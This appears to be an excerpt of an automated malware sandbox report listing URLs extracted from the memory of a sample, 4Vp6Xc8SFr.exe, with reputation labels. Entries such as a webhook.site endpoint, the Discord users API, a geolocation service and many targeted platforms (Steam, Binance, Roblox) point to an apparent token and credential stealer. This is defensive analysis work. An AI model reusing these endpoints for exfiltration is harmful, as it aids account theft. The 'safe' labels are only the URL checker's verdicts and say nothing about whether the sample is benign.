                                https://wwww.certigna.fr/autorites/0m4Vp6Xc8SFr.exe, 00000001.00000003.314533021.0000017AC9B88000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268784547.0000017ACA0F1000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276315620.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0F3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA0F1000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276376619.0000017ACA0D0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader4Vp6Xc8SFr.exe, 00000001.00000003.262114374.0000017AC75F8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262463075.0000017AC75F8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.263171502.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.309839320.0000017AC974D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.261960028.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262892596.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262892596.0000017AC75F3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262114374.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262304215.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310867870.0000017AC9774000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311013401.0000017AC75BB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262463075.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317030830.0000017AC75E4000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.318212716.0000017AC75EF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262304215.0000017AC75F8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.320473673.0000017AC75F0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.263171502.0000017AC75F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://geolocation-db.com/jsonp/z4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://ebay.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		low
                                  https://httpbin.org/4Vp6Xc8SFr.exe, 00000001.00000003.311013401.0000017AC75BB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317030830.0000017AC75E4000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://wwww.certigna.fr/autorites/4Vp6Xc8SFr.exe, 00000001.00000003.268784547.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269101774.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276315620.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276376619.0000017ACA0D0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269945464.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.270071852.0000017ACA0D5000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://roblox.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		low
                                    http://www.cl.cam.ac.uk/~mgk25/iso-time.html4Vp6Xc8SFr.exe, 00000001.00000003.264819253.0000017AC97E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    https://hbo.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		low
                                    https://binance.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		low
                                    https://playstation.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		low
                                    http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l5354Vp6Xc8SFr.exe, 00000001.00000003.315732154.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.322134173.0000017AC9BCE000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316092686.0000017AC9BCD000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311130928.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308418666.0000017AC9BC8000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy4Vp6Xc8SFr.exe, 00000001.00000003.262114374.0000017AC75F8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262463075.0000017AC75F8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.263171502.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.309839320.0000017AC974D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.261960028.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262892596.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262892596.0000017AC75F3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262114374.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262304215.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310867870.0000017AC9774000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311013401.0000017AC75BB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262463075.0000017AC7625000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317030830.0000017AC75E4000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.318212716.0000017AC75EF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.262304215.0000017AC75F8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.320473673.0000017AC75F0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.263171502.0000017AC75F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://sellix.io)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		low
                                        https://twitter.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		low
                                        https://disney.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		low
                                        http://crl.securetrust.com/STCA.crl4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://wwwsearch.sf.net/):4Vp6Xc8SFr.exe, 00000001.00000003.313059247.0000017AC9F1B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324994037.0000017AC9F22000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt04Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.270118444.0000017ACA03D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276157529.0000017ACA0EC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://tools.ietf.org/html/rfc6125#section-6.4.34Vp6Xc8SFr.exe, 00000001.00000002.324535554.0000017AC9DF0000.00000004.00001000.00020000.00000000.sdmpfalse
                                              		high
                                              https://tiktok.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		low
                                              http://crl.xrampsecurity.com/XGCA.crl04Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA143000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269069124.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276669475.0000017ACA143000.00000004.00000020.00020000.00000000.sdmpfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://cdn.discordapp.com/attachments/963114349877162004/992245751247806515/unknown.png4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://origin.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		low
                                                https://telegram.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		low
                                                https://riotgames.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		low
                                                http://www.cert.fnmt.es/dpcs/4Vp6Xc8SFr.exe, 00000001.00000003.268784547.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276157529.0000017ACA0EC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269101774.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269343833.0000017ACA0AC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0B1000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.270057723.0000017ACA0C0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269945464.0000017ACA0D3000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://playstation.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		low
                                                  https://pornhub.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		low
                                                  http://www.accv.es004Vp6Xc8SFr.exe, 00000001.00000003.307020159.0000017ACA046000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308722269.0000017ACA047000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269475039.0000017ACA08D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269301699.0000017ACA08A000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.268919432.0000017ACA086000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.269509616.0000017ACA0A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py4Vp6Xc8SFr.exe, 00000001.00000003.263171502.0000017AC75F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://wwww.certigna.fr/autorites/u4Vp6Xc8SFr.exe, 00000001.00000003.276315620.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.276376619.0000017ACA0D0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.275933215.0000017ACA0BF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm4Vp6Xc8SFr.exe, 00000001.00000003.264819253.0000017AC97E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.rfc-editor.org/info/rfc72534Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316371263.0000017AC9FDB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326611429.0000017AC9FDC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://twitch.com)4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		low
                                                        http://csrc.nist.gov/publications/nistpubs/800-38C/SP800-38C.pdf4Vp6Xc8SFr.exe, 00000001.00000003.315732154.0000017AC9B8B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.314533021.0000017AC9B88000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9F94000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.315855580.0000017AC9B95000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FA9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9F70000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.4Vp6Xc8SFr.exe, 00000001.00000003.317682278.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324796978.0000017AC9EF0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://steam.com)z4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		low
                                                            http://google.com/4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://mahler:8092/site-updates.py4Vp6Xc8SFr.exe, 00000001.00000003.309724972.0000017AC979B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313292014.0000017AC97E6000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.311725138.0000017AC979F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313220480.0000017AC97A0000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.265237287.0000017AC9A19000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.265290403.0000017AC97E0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		low
                                                              http://schemas.mi4Vp6Xc8SFr.exefalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://webhook.site/6ef9c344-b801-4707-b071-bfe96f5a7949Fc4Vp6Xc8SFr.exe, 00000001.00000003.309839320.0000017AC974D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.319732228.0000017AC9792000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310867870.0000017AC9774000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317656575.0000017AC9791000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.318423600.0000017AC9792000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              http://crl.securetrust.com/SGCA.crl4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              http://.../back.jpeg4Vp6Xc8SFr.exe, 00000001.00000002.324535554.0000017AC9DF0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		low
                                                              http://tools.ietf.org/html/rfc58694Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9F94000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FA9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316573052.0000017AC9FAA000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9F70000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://www.python.org/download/releases/2.3/mro/.4Vp6Xc8SFr.exe, 00000001.00000003.263366632.0000017AC96F7000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.263484937.0000017AC9708000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.320632899.0000017AC8EE0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://blog.cryptographyusering.com/2012/05/how-to-choose-authenticated-encryption.html4Vp6Xc8SFr.exe, 00000001.00000003.315732154.0000017AC9B8B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.314533021.0000017AC9B88000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326576109.0000017AC9FC9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9F82000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.326611429.0000017AC9FCC000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.312257969.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310364004.0000017AC9B41000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316155835.0000017AC9F94000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317531193.0000017AC9FCB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9F7B000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.315855580.0000017AC9B95000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316371263.0000017AC9FDB000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FA9000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316573052.0000017AC9FAA000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.324813601.0000017AC9EFF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.316400323.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.313483225.0000017AC9F7F000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FBF000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.317461335.0000017AC9EFC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • URL Reputation: safe
                                                                  		unknown
                                                                  https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy4Vp6Xc8SFr.exe, 00000001.00000002.324535554.0000017AC9DF0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://httpbin.org/post4Vp6Xc8SFr.exe, 00000001.00000003.312093466.0000017AC974D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.309839320.0000017AC974D000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000002.321220717.0000017AC9759000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://crl.xrampsecurity.com/XGCA.crl2y4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://discordapp.com/api/v6/users/4Vp6Xc8SFr.exe, 00000001.00000002.321586764.0000017AC98F0000.00000004.00001000.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308950317.0000017AC9797000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://crl.securetrust.com/STCA.crlB4Vp6Xc8SFr.exe, 00000001.00000003.276648532.0000017ACA03F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
